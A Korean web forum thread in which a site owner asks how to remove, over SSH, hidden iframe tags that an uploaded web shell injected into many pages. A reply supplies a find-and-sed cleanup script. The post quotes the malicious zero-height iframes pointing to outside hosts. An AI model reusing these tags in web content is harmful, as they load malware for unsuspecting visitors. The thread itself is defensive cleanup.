ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시글 목록
| 번호 | 제목 |
|---|---|
| 1959 | |
| 14479 |
MySQL
가입하기
1
|
| 14475 |
JavaScript
도와주세요
3
|
| 14474 | |
| 14469 | |
| 14466 |
Flash
이거 원리가 뭔가요 ;;
2
|
| 29747 |
HTML
회원가입폼 수정
2
|
| 14464 |
jQuery
FLEX 앞으로 어떨가요?
1
|
| 14463 | |
| 1950 | |
| 1943 | |
| 1938 | |
| 14460 |
PHP
카운트 조절하기
2
|
| 29743 |
HTML
[유트브]동영상 사이트 만들기
3
|
| 14453 |
JavaScript
sshd 접속 에러 로그
6
|
| 29738 |
HTML
도시 이름 한국어 리스트
4
|
| 1936 | |
| 24146 | |
| 25894 | |
| 1923 | |
| 1919 | |
| 1916 | |
| 1913 | |
| 24135 | |
| 24131 | |
| 25885 | |
| 14449 | |
| 1895 | |
| 1891 | |
| 1886 | |
| 14443 | |
| 1875 | |
| 25884 | |
| 14442 | |
| 1872 | |
| 29735 | |
| 14441 |
기타
서버게시판이 생겼군요.
|
| 1861 | |
| 14438 |
JavaScript
ssh로 사이트 악성코드 한번에 지울수 있나요?
2
현재글
|
| 14434 |
Flash
플래시에서 자동이로 페이지 이동하려면요?
3
|
| 1836 | |
| 29734 |
HTML
계정홈디렉토리에 파일 복사해 넣기
|
| 29727 | |
| 14430 |
기타
개인홈페이지..
3
|
| 14426 |
정규표현식
왜 서버는...
3
|
| 14425 | |
| 1828 | |
| 1813 | |
| 29725 | |
| 29719 |
HTML
html5 가이드 입니다.
5
|
| 1808 | |
| 1804 | |
| 14423 | |
| 24120 | |
| 25866 | |
| 14420 |
PHP
[펌] PHP 쉽게 배우기
2
|
| 25863 | |
| 1784 | |
| 1777 | |
| 25859 | |
| 14419 | |
| 1775 | |
| 29717 |
HTML
웹 접근성 검사 K-WAH 3.0
1
|
| 1768 | |
| 1759 | |
| 1744 | |
| 14416 | |
| 14414 |
JavaScript
메뉴 임다.
1
|
| 14413 |
jQuery
Jquery 텍스트 하이라이트 플러그인
|
| 1737 | |
| 14412 | |
| 1718 | |
| 1714 | |
| 1704 | |
| 1700 | |
| 29714 | |
| 1699 | |
| 14411 |
MySQL
mysqldumpslow
|
| 1696 | |
| 1686 | |
| 1677 | |
| 1672 | |
| 1671 | |
| 25853 | |
| 1660 | |
| 1654 | |
| 1650 | |
| 25851 | |
| 25850 | |
| 1647 | |
| 1588 | |
| 1586 | |
| 1580 | |
| 1567 | |
| 14408 |
MySQL
잠깐 짬나시는 쿼리 고수님께...
2
|
| 1553 | |
| 24109 | |
| 1551 | |
| 25849 | |
| 25848 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기